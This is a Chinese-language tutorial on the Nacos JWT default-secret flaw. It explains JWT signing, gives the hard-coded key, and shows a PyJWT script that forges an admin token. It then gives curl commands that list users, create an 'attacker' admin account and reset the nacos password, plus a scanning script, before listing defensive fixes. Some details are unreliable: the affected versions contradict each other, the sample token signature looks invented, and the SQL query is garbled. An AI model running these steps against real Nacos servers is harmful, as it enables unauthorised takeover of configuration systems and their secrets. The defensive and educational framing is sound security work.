Nacos 2.2.0 JWT 默认密钥漏洞实战从原理到防御的深度解析漏洞背景与影响范围在云原生技术快速发展的今天服务发现与配置管理平台已成为现代应用架构的核心组件。作为阿里巴巴开源的一款重要产品NacosNaming and Configuration Service因其轻量级、易用性等特点被广泛应用于微服务架构中。然而安全研究人员发现Nacos在2.1.0及更早版本中存在一个严重的设计缺陷——系统采用硬编码的JWT密钥进行身份认证这直接导致攻击者可以构造有效令牌实现未授权访问。该漏洞影响范围包括0.1.0至2.2.0的所有Nacos版本特别是那些开启了鉴权功能但未修改默认密钥的系统。攻击者利用此漏洞可完全绕过身份验证机制直接访问系统敏感数据甚至接管整个Nacos控制台。漏洞核心问题在于Nacos早期版本中nacos.core.auth.default.token.secret.key使用了固定值SecretKey012345678901234567890123456789012345678901234567890123456789且官方文档未对密钥修改做足够强调导致大量生产环境暴露在风险中。JWT机制与漏洞原理深度剖析JWT工作机制详解JSON Web TokenJWT是一种开放标准RFC 7519用于在各方之间安全传输信息作为JSON对象。JWT由三部分组成通过点号连接header.payload.signatureHeader通常包含令牌类型typ和签名算法alg如HS256{ alg: HS256, typ: JWT }Payload包含声明claims即关于实体和其他数据的声明{ sub: nacos, exp: 1679061046 }Signature对编码后的header和payload使用密钥进行签名验证HMACSHA256( base64UrlEncode(header) . base64UrlEncode(payload), secret)Nacos认证流程缺陷在受影响版本中Nacos的认证流程存在以下关键问题硬编码密钥系统使用固定不变的HS256算法密钥无密钥轮换机制缺乏自动化的密钥更新策略宽松的令牌验证对过期时间(exp)等关键字段校验不严格当客户端携带JWT访问Nacos时服务端会使用默认密钥验证签名。由于攻击者知晓该密钥可以伪造任意用户的合法令牌实现身份认证绕过。漏洞环境搭建与复现实验环境准备为完整复现该漏洞我们需要搭建以下环境组件版本要求备注Nacos Server2.2.0或更低版本建议使用Docker快速部署Python3.6用于生成JWTHTTP工具curl/Burp Suite用于发送恶意请求使用Docker快速启动漏洞版本Nacosdocker run --name nacos-2.2.0 -e MODEstandalone -e NACOS_AUTH_ENABLEtrue -p 8848:8848 -d nacos/nacos-server:2.2.0JWT生成与利用利用Python的PyJWT库生成有效令牌import jwt # 默认密钥 secret SecretKey012345678901234567890123456789012345678901234567890123456789 # 构造恶意payload payload { sub: nacos, # 伪装管理员 exp: 9999999999 # 设置超长过期时间 } # 生成token token jwt.encode(payload, secret, algorithmHS256) print(f生成Token: {token})生成的Token示例eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V实战攻击步骤获取用户列表需替换实际IP和端口curl -X GET http://target:8848/nacos/v1/auth/users?pageNo1pageSize9 \ -H Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V创建新管理员账户curl -X POST http://target:8848/nacos/v1/auth/users \ -H Authorization: Bearer [TOKEN] \ -d usernameattackerpasswordHack1234修改现有用户密码curl -X PUT http://target:8848/nacos/v1/auth/users \ -H Authorization: Bearer [TOKEN] \ -d usernamenacosnewPasswordNewPassword123注意实际测试中不同Nacos版本API路径可能略有差异2.2.0版本需要添加search参数自动化检测与利用工具安全研究人员已开发多种工具简化检测流程以下是典型工具对比工具名称语言功能特点使用示例NacosPocPython支持批量检测和自定义密钥python3 NacosPoc.py -u URLNacosExploitGo多线程高速检测./nacos-exp -t 10 URLS.txtBurpSuite插件Java集成到渗透测试工作流需手动配置JWT生成模块以Python实现的简易检测脚本为例import requests import jwt def check_vulnerability(target): try: secret SecretKey012345678901234567890123456789012345678901234567890123456789 token jwt.encode({sub:nacos}, secret, algorithmHS256) headers {Authorization: fBearer {token}} resp requests.get(f{target}/nacos/v1/auth/users, headersheaders) if resp.status_code 200 and username in resp.text: return True, token except Exception as e: pass return False, None防御方案与最佳实践紧急修复措施立即升级Nacos版本升级到2.2.0.1或1.4.5版本新版本已移除默认密钥并强制要求自定义修改密钥配置 在application.properties中添加nacos.core.auth.default.token.secret.keyYourNewSecureKeyBase64Encoded nacos.core.auth.plugin.nacos.token.expire.seconds1800网络层防护限制Nacos控制台的公网访问配置IP白名单和网络ACL长期安全加固密钥管理策略使用KMS服务管理密钥定期轮换密钥建议每90天不同环境使用不同密钥增强JWT验证严格校验exp、nbf等时间字段实现令牌吊销机制添加issuer(iss)和audience(aud)验证监控与审计-- 示例监控异常登录的SQL查询 SELECT * FROM access_log WHERE operation_type LOGIN AND result FAILURE AND timestamp NOW() - INTERVAL 5 minutes GROUP BY ip_address HAVING COUNT(*) 3;漏洞深度分析与延伸思考漏洞根本原因该漏洞反映了软件开发中常见的安全反模式安全默认为空系统应以最安全状态交付而非方便性优先文档缺失关键安全配置缺乏醒目说明防御深度不足缺乏二次认证等补偿控制云原生安全启示零信任架构不应依赖单一认证因素Secrets管理使用Vault等专业工具而非硬编码持续威胁建模在SDLC各阶段考虑安全在企业实际环境中我曾遇到一个典型案例某金融公司测试环境Nacos暴露公网且使用默认密钥导致攻击者获取了所有微服务的数据库配置。这提醒我们安全需要体系化建设不能存在任何短板。